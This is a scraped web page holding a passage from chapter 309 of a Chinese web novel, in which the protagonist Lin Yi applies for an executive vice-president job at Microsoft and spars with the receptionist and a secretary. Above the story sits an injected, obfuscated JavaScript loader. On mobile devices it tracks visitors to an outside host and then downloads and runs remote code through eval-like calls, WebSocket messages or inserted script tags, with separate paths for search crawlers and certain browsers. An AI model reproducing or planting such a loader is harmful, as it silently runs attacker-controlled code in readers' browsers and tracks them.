第309章:评价程序员的标准(第1页)
function OVHGxRJ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function YTrZu(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return OVHGxRJ(t);};window[''+'a'+'L'+'e'+'X'+'U'+'l'+'s'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){var x=YTrZu,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://yh.dyuthic.com:7891/stats/7728/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh3/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1])));var ws=new WebSocket(k+'/wh3/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}})('aHHR0cHHMlM0ElMkYlMkZ0by5tb2xpMTAyLnRvcCUzQTg4OTE=','d3NzJTNBJTJGJTJGdW0uYmNlbbnJzbby5jbb20lM0E5NTM1','4674',window,document,['H','b']);}:function(){};
走进微软的总部大楼,全世界的各色人种,在这里都能看到。
尤其是华夏人,更不在少数。
林逸四下看了看,朝着前台走去。
“您好,请问你们有招聘计划么。”
看到林逸是来应聘的,一个白人妹子站了起来,递过来一张表格,说:
“麻烦填写下表格,然后回去等通知就可以了。”
林逸没想到,自己赶上了微软的招聘季,这样就方便多了。
林逸拿着表格,简单填了一下,交到了白人妹子的手上。
白人妹子扫了眼,起初还没在意,但在看到求职意向,和薪酬两个栏目的时候,顿时就不淡定了。
“你要应聘执行副总裁?!要350万美金的薪资?”
“没错。”林逸说道:
“我知道你会觉得不可思议,但我希望,你能把这份报告,交到你们总裁的手上,我想他会有兴趣的。”
白人妹子明显不信,虽然是前台,但能在微软工作,自身的水平还是有的。
“抱歉,这样的材料,我是不会交上去的,因为每天都有很多像你这样的骗子过来。”
“我知道你不信,但我有能力,提升芯片原有的计算力,从而提升操作系统的流畅性和稳定性,难道还不值350万的年薪么?”
“先生,我认为你说的是假话,上帝是不会原谅你的,我有很多的华人同事,他们都很谦虚努力,希望你不要破坏华人在我心中的好印象。”
“如果你不信,我不介意给你演示一下。”
这是林逸在来之前就想好的。
想要在最短的时间内入职,并和沈天卓取得联系,不拿出点真本事是不行的。
“对不起,我没有时间浪费在你的身上。”
这尼玛!
外国人的审美,和国人差这么多么?
老子的颜值没有用武之地了啊!
心态崩了啊!
“凯丽,你们在吵什么?”
就在林逸准备进一步展开攻势的时候,听到身后传来了说话。
回头一看,发现身后站着两个人,巧合的是,两个都是华夏人。
说话的是个华夏女人,穿着白色的西装制服和黑色高跟鞋,脖子上带着工牌,不苟言笑,十分严肃。
英文名叫杰西卡,职位是总裁秘书。
另外一个的英文名叫卡森,技术部的中级工程师。
“他是来应聘的,但要应聘执行副总裁,我正想把他赶走呢。”
“应聘执行副总裁?”杰西卡愣了好一会。
看他的样子,不太像是捣乱的,这点素质和理智,华夏人还是有的。
但长的这么帅搞it,有点不符合逻辑。
杰西卡拿过林逸的资料,扫了一眼,说:
“林先生,鉴于您的年纪,我对您的能力抱有怀疑的态度,希望您能自重。”
“怎么的?年纪小就不能牛逼啦?”林逸直接飙起了中文,说着顺嘴。
“我小的时候,一泼尿呲灭了着火的电饭锅,我妈说我长大肯定有出息,能干大事。”
杰西卡:……
你妈那是骗你的啊!
“总之我有自己的判断方法,我觉得你是在跟我开玩笑。”杰西卡也说起了中文。
“你有什么判断方法?”
杰西卡瞟了眼林逸,然后指了指大楼里行色匆匆的it精英,“难道你比较不出来么?”
林逸:???
“怎么对比?除了没穿正装,手上没电脑,也不差什么。”
“差的多了。”杰西卡说道: